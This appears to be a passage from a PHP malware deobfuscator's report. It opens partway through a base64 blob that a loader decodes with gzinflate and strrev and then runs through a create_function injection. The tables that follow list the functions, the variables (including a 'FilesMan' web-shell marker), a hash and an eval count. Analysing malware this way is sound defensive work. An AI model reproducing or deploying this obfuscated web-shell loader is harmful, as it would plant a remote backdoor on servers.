btp8xdM+qXFDlnrF9SO/GI5n0+OPzUtMvv4BQWV0Sr2L39x2A0zdUaU3W6LFt8zGyR5C5JRfl7MHjInaJt+Kx99k9s2p7549IHi8r0JQXArSlibj9yS7mZFOELOzLPZciscqMURQRlHVM2VUiitquDPUFpdoOh+cXfFdb15BW/lDF8w9fz0QnnRHRZd3RuuuM789htzTQaGznC1WI3odxND55v4KR7u5pnig+f+pOX9NPrX8Sc0Q8cM9L0m12tneIie13NUMWXPdIuo+tzxyYuhtxS0z7VyjK7q6cW7GjcI3G+1Ey2PnDLiJADOULLn4TmwWRRALQ2jU8gcYMv0fHbiTd7gq7KDMktyiSPV16s3fAJnnREu2xHCVwMN6Arr/wA='));create_function('',"}$s//"); ?>r

Function Calls

strrev 1
gzinflate 1
base64_decode 1
create_function 1

Variables

$D base64_decode
$s $color=" #F2A"; $default_action='FilesMan'; $default_use_a..

Stats

MD5 32cc82a65bd2517f92ffd56475296db2
Eval Count 1
Decode Time 114 ms